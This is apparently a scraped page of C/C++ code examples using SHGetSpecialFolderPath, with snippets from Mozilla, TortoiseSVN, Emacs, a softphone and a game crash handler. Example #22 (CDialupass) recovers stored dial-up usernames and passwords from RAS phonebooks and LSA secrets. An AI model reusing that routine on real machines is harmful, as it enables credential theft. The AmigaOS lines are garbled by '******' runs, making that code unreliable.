            return GetWindowsFolder(CSIDL_COMMON_DESKTOPDIRECTORY, aFile);
        }
        case Win_Printhood:
        {
            return GetWindowsFolder(CSIDL_PRINTHOOD, aFile);
        }
        case Win_Cookies:
        {
            return GetWindowsFolder(CSIDL_COOKIES, aFile);
        }
#endif
        case Win_Appdata:
        {
            nsresult rv = GetWindowsFolder(CSIDL_APPDATA, aFile);
#ifndef WINCE
            if (NS_FAILED(rv))
                rv = GetRegWindowsAppDataFolder(PR_FALSE, aFile);
#endif
            return rv;
        }

        case Win_LocalAppdata:
        {
            nsresult rv = GetWindowsFolder(CSIDL_LOCAL_APPDATA, aFile);
#ifndef WINCE
            if (NS_FAILED(rv))
                rv = GetRegWindowsAppDataFolder(PR_TRUE, aFile);
#endif
            return rv;
        }
#endif  // XP_WIN

#if defined(XP_AMIGAOS)
        case AmigaOS_HomeDirectory:
        	return NS_NewNativeLocalFile(nsDependentCString("CURRENTUSER:"******"CURRENTUSER:"******"SYS:"), PR_TRUE, aFile);
        case AmigaOS_DesktopDirectory:
        	return NS_NewNativeLocalFile(nsDependentCString("CURRENTUSER:"******"/usr/local/netscape/"),
                                         PR_TRUE,
                                         aFile);
        case Unix_LibDirectory:
            return NS_NewNativeLocalFile(nsDependentCString("/usr/local/lib/netscape/"),
                                         PR_TRUE,
                                         aFile);

        case Unix_HomeDirectory:
            return GetUnixHomeDir(aFile);

        case Unix_XDG_Desktop:
        case Unix_XDG_Documents:
        case Unix_XDG_Download:
        case Unix_XDG_Music:
        case Unix_XDG_Pictures:
        case Unix_XDG_PublicShare:
        case Unix_XDG_Templates:
        case Unix_XDG_Videos:
            return GetUnixXDGUserDirectory(aSystemSystemDirectory, aFile);
#endif

#ifdef XP_BEOS
        case BeOS_SettingsDirectory:
        {
            return GetBeOSFolder(B_USER_SETTINGS_DIRECTORY,0, aFile);
        }

        case BeOS_HomeDirectory:
        {
            return GetBeOSFolder(B_USER_DIRECTORY,0, aFile);
        }

        case BeOS_DesktopDirectory:
        {
            /* Get the user's desktop folder, which in the future may differ from the boot desktop */
            char path[MAXPATHLEN];
            if (find_directory(B_USER_DIRECTORY, 0, false, path, MAXPATHLEN) != B_OK )
                break;
            return GetBeOSFolder(B_DESKTOP_DIRECTORY, dev_for_path(path), aFile);
        }

        case BeOS_SystemDirectory:
        {
            return GetBeOSFolder(B_BEOS_DIRECTORY,0, aFile);
        }
#endif
#ifdef XP_OS2
        case OS2_SystemDirectory:
        {
            ULONG ulBootDrive = 0;
            char  buffer[] = " :\\OS2\\System\\";
            DosQuerySysInfo( QSV_BOOT_DRIVE, QSV_BOOT_DRIVE,
                             &ulBootDrive, sizeof ulBootDrive);
            buffer[0] = 'A' - 1 + ulBootDrive; // duh, 1-based index...

            return NS_NewNativeLocalFile(nsDependentCString(buffer),
                                         PR_TRUE,
                                         aFile);
        }

     case OS2_OS2Directory:
        {
            ULONG ulBootDrive = 0;
            char  buffer[] = " :\\OS2\\";
            DosQuerySysInfo( QSV_BOOT_DRIVE, QSV_BOOT_DRIVE,
                             &ulBootDrive, sizeof ulBootDrive);
            buffer[0] = 'A' - 1 + ulBootDrive; // duh, 1-based index...

            return NS_NewNativeLocalFile(nsDependentCString(buffer),
                                         PR_TRUE,
                                         aFile);
        }

     case OS2_HomeDirectory:
        {
            nsresult rv;
            char *tPath = PR_GetEnv("MOZILLA_HOME");
            char buffer[CCHMAXPATH];
            /* If MOZILLA_HOME is not set, use GetCurrentProcessDirectory */
            /* To ensure we get a long filename system */
            if (!tPath || !*tPath) {
                PPIB ppib;
                PTIB ptib;
                DosGetInfoBlocks( &ptib, &ppib);
                DosQueryModuleName( ppib->pib_hmte, CCHMAXPATH, buffer);
                *strrchr( buffer, '\\') = '\0'; // XXX DBCS misery
                tPath = buffer;
            }
            rv = NS_NewNativeLocalFile(nsDependentCString(tPath),
                                       PR_TRUE,
                                       aFile);

            PrfWriteProfileString(HINI_USERPROFILE, "Mozilla", "Home", tPath);
            return rv;
        }

        case OS2_DesktopDirectory:
        {
            char szPath[CCHMAXPATH + 1];
            BOOL fSuccess;
            fSuccess = WinQueryActiveDesktopPathname (szPath, sizeof(szPath));
            if (!fSuccess) {
                // this could happen if we are running without the WPS, return
                // the Home directory instead
                return GetSpecialSystemDirectory(OS2_HomeDirectory, aFile);
            }
            int len = strlen (szPath);
            if (len > CCHMAXPATH -1)
                break;
            szPath[len] = '\\';
            szPath[len + 1] = '\0';

            return NS_NewNativeLocalFile(nsDependentCString(szPath),
                                         PR_TRUE,
                                         aFile);
        }
#endif
        default:
            break;
    }
    return NS_ERROR_NOT_AVAILABLE;
}
Example #18
0
BOOL CSetOverlayIcons::OnInitDialog()
{
	ISettingsPropPage::OnInitDialog();

	m_cIconList.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_DOUBLEBUFFER | LVS_EX_INFOTIP | LVS_EX_SUBITEMIMAGES);
	// get the path to our icon sets
	TCHAR buf[MAX_PATH] = {0};
	SHGetSpecialFolderPath(m_hWnd, buf, CSIDL_PROGRAM_FILES_COMMON, true);
	m_sIconPath = buf;
	m_sIconPath += _T("\\TortoiseOverlays\\Icons");
	// list all the icon sets
	CDirFileEnum filefinder(m_sIconPath);
	bool isDir = false;
	CString item;
	while (filefinder.NextFile(item, &isDir))
	{
		if (!isDir)
			continue;
		m_cIconSet.AddString(CPathUtils::GetFileNameFromPath(item));
	}
	CheckRadioButton(IDC_LISTRADIO, IDC_SYMBOLRADIO, IDC_LISTRADIO);
	CString sModifiedIcon = m_regModified;
	if (sModifiedIcon.IsEmpty())
	{
		// no custom icon set, use the default
		sModifiedIcon = m_sIconPath + _T("\\XPStyle\\ModifiedIcon.ico");
	}
	if (sModifiedIcon.Left(m_sIconPath.GetLength()).CompareNoCase(m_sIconPath)!=0)
	{
		// an icon set outside our own installation? We don't support that,
		// so fall back to the default!
		sModifiedIcon = m_sIconPath + _T("\\XPStyle\\ModifiedIcon.ico");
	}
	// the name of the icon set is the folder of the icon location
	m_sOriginalIconSet = sModifiedIcon.Mid(m_sIconPath.GetLength()+1);
	m_sOriginalIconSet = m_sOriginalIconSet.Left(m_sOriginalIconSet.ReverseFind('\\'));
	// now we have the name of the icon set. Set the combobox to show
	// that as selected
	CString ComboItem;
	for (int i=0; i<m_cIconSet.GetCount(); ++i)
	{
		m_cIconSet.GetLBText(i, ComboItem);
		if (ComboItem.CompareNoCase(m_sOriginalIconSet)==0)
			m_cIconSet.SetCurSel(i);
	}

	m_sNormal = CString(MAKEINTRESOURCE(IDS_STATUSNORMAL));
	m_sModified = CString(MAKEINTRESOURCE(IDS_STATUSMODIFIED));
	m_sConflicted = CString(MAKEINTRESOURCE(IDS_STATUSCONFLICTED));
	m_sDeleted = CString(MAKEINTRESOURCE(IDS_STATUSDELETED));
	m_sAdded = CString(MAKEINTRESOURCE(IDS_STATUSADDED));
	m_sIgnored = CString(MAKEINTRESOURCE(IDS_STATUSIGNORED));
	m_sUnversioned = CString(MAKEINTRESOURCE(IDS_STATUSUNVERSIONED));

	m_sReadOnly.LoadString(IDS_SETTINGS_READONLYNAME);
	m_sLocked.LoadString(IDS_SETTINGS_LOCKEDNAME);

	SetWindowTheme(m_hWnd, L"Explorer", NULL);

	ShowIconSet(true);

	return TRUE;
}
Example #19
0
// 获得FlashGet的下载目录
BOOL bigfilehelper::GetFlashGetDownloadDirs(std::vector<CString>& vDirs)
{
    WinVersion  winver = KGetWinVersion();
    IniEditor IniEdit;
    BOOL bRet = TRUE;
    WCHAR szAppDataPath[MAX_PATH] = { 0 };

    WCHAR szAppPath[MAX_PATH] = {0};
    szAppPath[0] = GetSystemDrive();
    wcscat(szAppPath,L":\\Downloads");
    vDirs.push_back(szAppPath);

    if(WINVERSION_WIN7 == winver)
    {
        CString tmpStrPath = L"";
        bRet = SHGetSpecialFolderPath(NULL, szAppDataPath, CSIDL_APPDATA, FALSE);
        if (!bRet)
            goto clean0;
        tmpStrPath += szAppDataPath;
        tmpStrPath += L"\\FlashGet\\v3\\dat\\Appsetting.cfg";
        IniEdit.SetFile(tmpStrPath.GetBuffer());
        std::wstring UserPath = IniEdit.ReadString(L"FlashGet3 Setting Value",L"UserPath");
        if(UserPath.length()==0)
            bRet = FALSE;
        else 
        {


            if(UserPath[0]==GetSystemDrive()||UserPath[0]==GetSystemDrive()-32||UserPath[0]==GetSystemDrive()+32)
                vDirs.push_back(UserPath.c_str());
            else bRet = FALSE;
        }
    }
    else
    {
        TCHAR szLongPathBuffer[MAX_PATH] = { 0 };
        DWORD len = sizeof(szLongPathBuffer);
        GetRegistryValue(HKEY_LOCAL_MACHINE,
            L"SOFTWARE\\FlashGet Network\\FlashGet 3",
            L"Path",
            NULL,
            (LPBYTE)szLongPathBuffer,
            &len
            );
        if(wcslen(szLongPathBuffer) == 0)
            bRet = FALSE;
        else 
        {
            ::PathAppend(szLongPathBuffer,L"dat\\Appsetting.cfg");
            IniEdit.SetFile(szLongPathBuffer);
            std::wstring UserPath = IniEdit.ReadString(L"FlashGet3 Setting Value",L"UserPath");
            if(UserPath.length()==0)
                bRet = FALSE;
            else 
            {
                if(UserPath.at(0)==GetSystemDrive()||UserPath[0]==GetSystemDrive()-32||UserPath[0]==GetSystemDrive()+32)
                    vDirs.push_back(UserPath.c_str());
                else bRet = FALSE;
            }

        }
    }
clean0:
    return bRet;
}
Example #20
0
AccountSettings::AccountSettings()
{
	logFile.Format("%s.log", _GLOBAL_NAME);
	iniFile.Format("%s.ini", _GLOBAL_NAME);

	CFileStatus rStatus;
	CString str;
	CString appData;
	char * ptr;
	ptr = appData.GetBuffer(MAX_PATH);
	::GetCurrentDirectory(MAX_PATH, ptr);
	appData.ReleaseBuffer();
	appData += "\\";

	firstRun = TRUE;
	if (CFile::GetStatus(appData + iniFile, rStatus)) {
		firstRun = FALSE;
	}

	HANDLE h = CreateFile( appData + iniFile, GENERIC_WRITE, FILE_SHARE_DELETE | FILE_SHARE_READ |
		 FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
	if (h != INVALID_HANDLE_VALUE )
	{
		CloseHandle(h);
	} else {
		ptr = appData.GetBuffer(MAX_PATH);
		SHGetSpecialFolderPath(
			0,
			ptr, 
			CSIDL_LOCAL_APPDATA, 
			FALSE ); 
		appData.ReleaseBuffer();
		appData.AppendFormat("\\%s\\",_GLOBAL_NAME_NICE);
		CreateDirectory(appData, NULL);
		if (CFile::GetStatus(appData + iniFile, rStatus)) {
			firstRun = FALSE;
		}
	}
	logFile = appData + logFile;
	iniFile = appData + iniFile;

#ifndef _GLOBAL_ACCOUNT_MINI
	ptr = server.GetBuffer(255);
	GetPrivateProfileString("Settings","Server", NULL, ptr, 256, iniFile);
	server.ReleaseBuffer();
	ptr = proxy.GetBuffer(255);
	GetPrivateProfileString("Settings","Proxy", NULL, ptr, 256, iniFile);
	proxy.ReleaseBuffer();
	ptr = domain.GetBuffer(255);
	GetPrivateProfileString("Settings","Domain", NULL, ptr, 256, iniFile);
	domain.ReleaseBuffer();
	ptr = srtp.GetBuffer(255);
	GetPrivateProfileString("Settings","SRTP", NULL, ptr, 256, iniFile);
	srtp.ReleaseBuffer();
	ptr = transport.GetBuffer(255);
	GetPrivateProfileString("Settings","Transport", NULL, ptr, 256, iniFile);
	transport.ReleaseBuffer();
	ptr = publicAddr.GetBuffer(255);
	GetPrivateProfileString("Settings","PublicAddr", NULL, ptr, 256, iniFile);
	publicAddr.ReleaseBuffer();
	ptr = listenPort.GetBuffer(255);
	GetPrivateProfileString("Settings","ListenPort", NULL, ptr, 256, iniFile);
	listenPort.ReleaseBuffer();
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","Publish", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	publish=str=="1"?1:0;
	ptr = stun.GetBuffer(255);
	GetPrivateProfileString("Settings","STUN", NULL, ptr, 256, iniFile);
	stun.ReleaseBuffer();
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","ICE", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	ice=str=="1"?1:0;

	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","DisableLocalAccount", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	disableLocalAccount=str=="1"?1:0;
	
	ptr = updatesInterval.GetBuffer(255);
	GetPrivateProfileString("Settings","UpdatesInterval", NULL, ptr, 256, iniFile);
	updatesInterval.ReleaseBuffer();
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","CheckUpdatesTime", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	checkUpdatesTime = atoi(str);
#else
	server = _GLOBAL_ACCOUNT_SIP_SERVER;
	proxy = _GLOBAL_ACCOUNT_SIP_PROXY;
	domain= _GLOBAL_ACCOUNT_DOMAIN;
	srtp = _GLOBAL_ACCOUNT_SRTP;
	transport = _GLOBAL_ACCOUNT_TRANSPORT;
	publish=_GLOBAL_ACCOUNT_PUBLISH;
	stun = _GLOBAL_ACCOUNT_STUN;
	ice=_GLOBAL_ACCOUNT_ICE;
	disableLocalAccount=1;
#endif

	ptr = username.GetBuffer(255);
	GetPrivateProfileString("Settings","Username", NULL, ptr, 256, iniFile);
	username.ReleaseBuffer();
	ptr = authID.GetBuffer(255);
	GetPrivateProfileString("Settings","AuthID", NULL, ptr, 256, iniFile);
	authID.ReleaseBuffer();
	ptr = password.GetBuffer(255);
	GetPrivateProfileString("Settings","Password", NULL, ptr, 256, iniFile);
	password.ReleaseBuffer();
	ptr = displayName.GetBuffer(255);
	GetPrivateProfileString("Settings","DisplayName", NULL, ptr, 256, iniFile);
	displayName.ReleaseBuffer();

	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","AutoAnswer", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	autoAnswer=str=="1"?1:0;
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","LocalDTMF", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	localDTMF=str=="0"?0:1;
	
	ptr = ringingSound.GetBuffer(255);
	GetPrivateProfileString("Settings","RingingSound", NULL, ptr, 256, iniFile);
	ringingSound.ReleaseBuffer();
	ptr = audioInputDevice.GetBuffer(255);
	GetPrivateProfileString("Settings","AudioInputDevice", NULL, ptr, 256, iniFile);
	audioInputDevice.ReleaseBuffer();
	ptr = audioOutputDevice.GetBuffer(255);
	GetPrivateProfileString("Settings","AudioOutputDevice", NULL, ptr, 256, iniFile);
	audioOutputDevice.ReleaseBuffer();
	ptr = audioCodecs.GetBuffer(255);
	GetPrivateProfileString("Settings","AudioCodecs", NULL, ptr, 256, iniFile);
	audioCodecs.ReleaseBuffer();
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","DisableVAD", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	disableVAD = str == "1" ? 1 : 0;

	ptr = videoCaptureDevice.GetBuffer(255);
	GetPrivateProfileString("Settings","VideoCaptureDevice", NULL, ptr, 256, iniFile);
	videoCaptureDevice.ReleaseBuffer();
	ptr = videoCodec.GetBuffer(255);
	GetPrivateProfileString("Settings","VideoCodec", NULL, ptr, 256, iniFile);
	videoCodec.ReleaseBuffer();
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","DisableH264", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	disableH264 = str == "1" ? 1 : 0;
	ptr = bitrateH264.GetBuffer(255);
	GetPrivateProfileString("Settings","BitrateH264", NULL, ptr, 256, iniFile);
	bitrateH264.ReleaseBuffer();
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","DisableH263", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	disableH263 = str == "1" ? 1 : 0;
	ptr = bitrateH263.GetBuffer(255);
	GetPrivateProfileString("Settings","BitrateH263", NULL, ptr, 256, iniFile);
	bitrateH263.ReleaseBuffer();

	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","ActiveTab", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	activeTab = atoi(str);

#ifndef _GLOBAL_NO_LOG
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","EnableLog", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	enableLog=str=="1"?1:0;
#else
	enableLog=0;
#endif

#ifndef _GLOBAL_SINGLE_MODE
	ptr = str.GetBuffer(255);
	GetPrivateProfileString("Settings","SingleMode", NULL, ptr, 256, iniFile);
	str.ReleaseBuffer();
	singleMode=str=="1"?1:0;
#else
	singleMode = 1;
#endif

	hidden = 0;

}
Example #21
0
///////////////////
// This callback function is called whenever an unhandled exception occurs
LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExInfo)
{
	// Get the path
	char buf[1024];
	if (!SHGetSpecialFolderPath(NULL, buf, CSIDL_PERSONAL, false))  {
		buf[0] = '\0';
		strcpy(buf, "bug_reports");
	} else  {
		size_t len = strnlen(buf, sizeof(buf));
		if (buf[len - 1] != '\\' && buf[len - 1] != '/')
			strncat(buf, "\\OpenLieroX", sizeof(buf));
		else
			strncat(buf, "OpenLieroX", sizeof(buf));
		CreateDirectory(buf, NULL); // If the crash occurs at first startup, the OpenLieroX dir doesn't have to exist
		strncat(buf, "\\bug_reports", sizeof(buf));
		fix_markend(buf);
	}
	CreateDirectory(buf, NULL);
	strncat(buf, "\\", sizeof(buf));

	// Get the file name
	char checkname[1024];

	char tmp[32];
	FILE *f = NULL;
	for (int i=1;1;i++)  {
		itoa(i, tmp, 10);
		fix_markend(tmp);
		strncpy(checkname, buf, sizeof(checkname));
		strncat(checkname, "report", sizeof(checkname));
		strncat(checkname, tmp, sizeof(checkname));
		strncat(checkname, ".dmp", sizeof(checkname));
		f = fopen(checkname, "rb");
		if (!f)
			break;
		fclose(f);
	}

	OlxWriteCoreDump_Win32(checkname, pExInfo);

	// Try to free the cache, it eats a lot of memory
	__try {
		cCache.Clear();
	} 
	__except(EXCEPTION_EXECUTE_HANDLER) {}

	// Quit SDL
	__try  {
		SDL_Quit();
	} 
	__except(EXCEPTION_EXECUTE_HANDLER) {}

	// End conversation logging (to make the XML valid)
	__try  {
		if (convoLogger)
			delete convoLogger;
	}
	__except(EXCEPTION_EXECUTE_HANDLER) {}

	// Close all opened files
	fcloseall();


	strncpy(&buf[1], checkname, sizeof(buf) - 1);
	buf[0] = '\"';
	strncat(buf, "\"", sizeof(buf));
	fix_markend(buf);

	// If ded server is running as service user won't see any dialog anyway
	if (!bDedicated)
		ShellExecute(NULL,"open","BugReport.exe",buf,NULL,SW_SHOWNORMAL);

	// If running as a dedicated server, restart the application (there usually isn't any person sitting
	// at the computer to fix this problem)
	// If ded server is running as service it's restarted automatically
#ifdef DEDICATED_ONLY
	//ShellExecute(NULL, "open", GetAppPath(), "-dedicated", NULL, SW_SHOWNORMAL);
#else
	if (bDedicated)  {
		//ShellExecute(NULL, "open", GetAppPath(), "-dedicated", NULL, SW_SHOWNORMAL);
	}
#endif

	return EXCEPTION_EXECUTE_HANDLER;
}
Example #22
0
bool CDialupass::GetRasEntries()
{

	int		nCount = 0;
	char	*lpPhoneBook[2];
	char	szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
	GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
	lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
	lstrcat(szPhoneBook1, m_lpCurrentUser);
	lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
	SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
	wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

	lpPhoneBook[0] = szPhoneBook1;
	lpPhoneBook[1] = szPhoneBook2;


	OSVERSIONINFO osi;
	osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
	GetVersionEx(&osi);

	if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
	{
		GetLsaPasswords();
	}	

	DWORD	nSize = 1024 * 4;
	char	*lpszReturnBuffer = new char[nSize];

	for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
	{
		memset(lpszReturnBuffer, 0, nSize);
		GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
		for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
		{	
			char	*lpRealSection = (char *)UTF8ToGB2312(lpSection);
			char	strDialParamsUID[256];
			char	strUserName[256];
			char	strPassWord[256];
			char	strPhoneNumber[256];
			char	strDevice[256];
			memset(strDialParamsUID, 0, sizeof(strDialParamsUID));
			memset(strUserName, 0, sizeof(strUserName));
			memset(strPassWord, 0, sizeof(strPassWord));
			memset(strPhoneNumber, 0, sizeof(strPhoneNumber));
			memset(strDevice, 0, sizeof(strDevice));


			int	nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0, 
				strDialParamsUID, sizeof(strDialParamsUID),	lpPhoneBook[i]);

			if (nBufferLen > 0)//DialParamsUID=4326020    198064
			{
				for(int j=0; j< (int)m_nRasCount; j++)
				{
					if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0)
					{
						lstrcpy(strUserName, m_PassWords[j].login); 
						lstrcpy(strPassWord, m_PassWords[j].pass); 
						m_PassWords[j].used=true;
						m_nUsed++;
						break;
					}
				}
			}

			GetPrivateProfileString(lpSection, "PhoneNumber", 0, 
				strPhoneNumber, sizeof(strDialParamsUID),	lpPhoneBook[i]);
			GetPrivateProfileString(lpSection, "Device", 0, 
				strDevice, sizeof(strDialParamsUID),	lpPhoneBook[i]);
			char *lpRealDevice = (char *)UTF8ToGB2312(strDevice);
			char *lpRealUserName = (char *)UTF8ToGB2312(strUserName);
			Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord,
				strPhoneNumber, lpRealDevice);
			delete	lpRealSection;
			delete	lpRealUserName;
			delete	lpRealDevice;
		}
	}
	delete lpszReturnBuffer;

	return true;
}
Example #23
0
void ShortCutManager::OnShortCurtClicked(ShortCutItem *pShortCut)
{
    //console.cpl
    //timedate.cpl
    //desk.cpl
    //for my document


    //int indexSelected = GetIndex(pShortCut);
    int indexSelected = pShortCut->GetSystemIconIndex();

    if (indexSelected == SYSTEM_SHORTCUT_INDEX_MY_COMPUTER)
    {
        //My Computer
        ShellExecute(NULL, _T("open"), _T("::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"), NULL, NULL, SW_SHOWNORMAL);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_NETWORK)
    {
        //Network
        ShellExecute(NULL, _T("open"), _T("::{208D2C60-3AEA-1069-A2D7-08002B30309D}") , NULL, NULL, SW_SHOWNORMAL);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_CONTROL_PANEL)
    {
        //Control Panel
        ShellExecute(NULL, _T("open"), _T("rundll32.exe"), _T("shell32.dll,Control_RunDLL"), NULL, SW_SHOW);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_TIME_DATE)
    {
        // time date
        ShellExecute(NULL, _T("open"), _T("control.exe"), _T("timedate.cpl"), _T("c:\\windows\\system32\\"), SW_NORMAL);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_RECYCLE)
    {
        // recycle
        ShellExecute(NULL, _T("open"),  _T("::{645FF040-5081-101B-9F08-00AA002F954E}"), NULL, NULL, SW_SHOWNORMAL);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_USERS_FILE)
    {
        // my document
        TCHAR str[MAX_PATH] = {0};
        SHGetSpecialFolderPath(NULL, str, CSIDL_PERSONAL, FALSE);
        ShellExecute(NULL, _T("open"), str, NULL, NULL, SW_SHOWNORMAL);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_MY_MUSIC)
    {
        // my music
        TCHAR str[MAX_PATH] = {0};
        SHGetSpecialFolderPath(NULL, str, CSIDL_MYMUSIC, FALSE);
        ShellExecute(NULL, _T("open"), str, NULL, NULL, SW_SHOWNORMAL);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_CLOSE)  // close
    {
        AfxGetMainWnd()->SendMessage(WM_CLOSE);
    }
    else if (indexSelected == SYSTEM_SHORTCUT_INDEX_PREFERENCE)  // preference
    {
        CSettingDlg pSettingDlg(m_dockPanelDlg, m_systemIconBitMap);
        pSettingDlg.DoModal();
    }
    else
    {
        TCHAR *pFilePath = pShortCut->GetPath();
        ShellExecute(NULL, _T("open"), pFilePath, _T(""), _T(""), SW_SHOW );
    }

    last_index_selected_ = indexSelected;
}
Example #24
0
int
main (int argc, char *argv[])
{
  char start_folder[MAX_PATH + 1];
  int shortcuts_created = 0;
  int com_available = 1;
  char modname[MAX_PATH];
  const char *prog_name;
  const char *emacs_path;
  char *p;
  int quiet = 0;
  HRESULT result;
  IShellLinkA *shortcut;

  /* If no args specified, use our location to set emacs_path.  */

  if (argc > 1
      && (argv[1][0] == '/' || argv[1][0] == '-')
      && argv[1][1] == 'q')
    {
      quiet = 1;
      --argc;
      ++argv;
    }

  if (argc > 1)
    emacs_path = argv[1];
  else
    {
      if (!GetModuleFileName (NULL, modname, MAX_PATH) ||
	  (p = strrchr (modname, '\\')) == NULL)
	{
	  fprintf (stderr, "fatal error");
	  exit (1);
	}
      *p = 0;

      /* Set emacs_path to emacs_dir if we are in "%emacs_dir%\bin".  */
      if ((p = strrchr (modname, '\\')) && stricmp (p, "\\bin") == 0)
	{
	  *p = 0;
	  emacs_path = modname;
	}
      else
	{
	  fprintf (stderr, "usage: addpm emacs_path\n");
	  exit (1);
	}

      /* Tell user what we are going to do.  */
      if (!quiet)
	{
	  int result;

	  char msg[ MAX_PATH ];
	  sprintf (msg, "Install Emacs at %s?\n", emacs_path);
	  result = MessageBox (NULL, msg, "Install Emacs",
			       MB_OKCANCEL | MB_ICONQUESTION);
	  if (result != IDOK)
	    {
	      fprintf (stderr, "Install cancelled\n");
	      exit (1);
	    }
	}
    }

  add_registry (emacs_path);
  prog_name =  "runemacs.exe";

  /* Try to install globally.  */

  if (!SUCCEEDED (CoInitialize (NULL))
      || !SUCCEEDED (CoCreateInstance (&CLSID_ShellLink, NULL,
					CLSCTX_INPROC_SERVER, &IID_IShellLinkA,
					(void **) &shortcut)))
    {
      com_available = 0;
    }

  if (com_available
      && SHGetSpecialFolderPath (NULL, start_folder, CSIDL_COMMON_PROGRAMS, 0))
    {
      if (strlen (start_folder) < (MAX_PATH - 20))
	{
	  strcat (start_folder, "\\Gnu Emacs");
	  if (CreateDirectory (start_folder, NULL)
	      || GetLastError () == ERROR_ALREADY_EXISTS)
	    {
	      char full_emacs_path[MAX_PATH + 1];
	      IPersistFile *lnk;
	      strcat (start_folder, "\\Emacs.lnk");
	      sprintf (full_emacs_path, "%s\\bin\\%s", emacs_path, prog_name);
	      IShellLinkA_SetPath (shortcut, full_emacs_path);
	      IShellLinkA_SetDescription (shortcut, "GNU Emacs");
	      result = IShellLinkA_QueryInterface (shortcut, &IID_IPersistFile,
						   (void **) &lnk);
	      if (SUCCEEDED (result))
		{
		  wchar_t unicode_path[MAX_PATH];
		  MultiByteToWideChar (CP_ACP, 0, start_folder, -1,
				       unicode_path, MAX_PATH);
		  if (SUCCEEDED (IPersistFile_Save (lnk, unicode_path, TRUE)))
		    shortcuts_created = 1;
		  IPersistFile_Release (lnk);
		}
	    }
	}
    }

  if (!shortcuts_created && com_available
      && SHGetSpecialFolderPath (NULL, start_folder, CSIDL_PROGRAMS, 0))
    {
      /* Ensure there is enough room for "...\GNU Emacs\Emacs.lnk".  */
      if (strlen (start_folder) < (MAX_PATH - 20))
	{
	  strcat (start_folder, "\\Gnu Emacs");
	  if (CreateDirectory (start_folder, NULL)
	      || GetLastError () == ERROR_ALREADY_EXISTS)
	    {
	      char full_emacs_path[MAX_PATH + 1];
	      IPersistFile *lnk;
	      strcat (start_folder, "\\Emacs.lnk");
	      sprintf (full_emacs_path, "%s\\bin\\%s", emacs_path, prog_name);
	      IShellLinkA_SetPath (shortcut, full_emacs_path);
	      IShellLinkA_SetDescription (shortcut, "GNU Emacs");
	      result = IShellLinkA_QueryInterface (shortcut, &IID_IPersistFile,
						   (void **) &lnk);
	      if (SUCCEEDED (result))
		{
		  wchar_t unicode_path[MAX_PATH];
		  MultiByteToWideChar (CP_ACP, 0, start_folder, -1,
				       unicode_path, MAX_PATH);
		  if (SUCCEEDED (IPersistFile_Save (lnk, unicode_path, TRUE)))
		    shortcuts_created = 1;
		  IPersistFile_Release (lnk);

		}
	    }
	}
    }

  if (com_available)
    IShellLinkA_Release (shortcut);

  /* Need to call uninitialize, even if ComInitialize failed.  */
  CoUninitialize ();

  /* Fallback on old DDE method if the above failed.  */
  if (!shortcuts_created)
    {
      DWORD dde = 0;
      HCONV conversation;
      HSZ progman;
      char add_item[MAX_PATH*2 + 100];

      DdeInitialize (&dde, (PFNCALLBACK) DdeCallback, APPCMD_CLIENTONLY, 0);
      progman = DdeCreateStringHandle (dde, "PROGMAN", CP_WINANSI);
      conversation = DdeConnect (dde, progman, progman, NULL);
      if (conversation)
	{
	  DdeCommand ("[CreateGroup (\"Gnu Emacs\")]");
	  DdeCommand ("[ReplaceItem (Emacs)]");
	  sprintf (add_item, "[AddItem (\"%s\\bin\\%s\", Emacs)]",
		   emacs_path, prog_name);
	  DdeCommand (add_item);

	  DdeDisconnect (conversation);
	}

      DdeFreeStringHandle (dde, progman);
      DdeUninitialize (dde);
   }

  return 0;
}
LLDir_Win32::LLDir_Win32()
{
	mDirDelimiter = "\\";

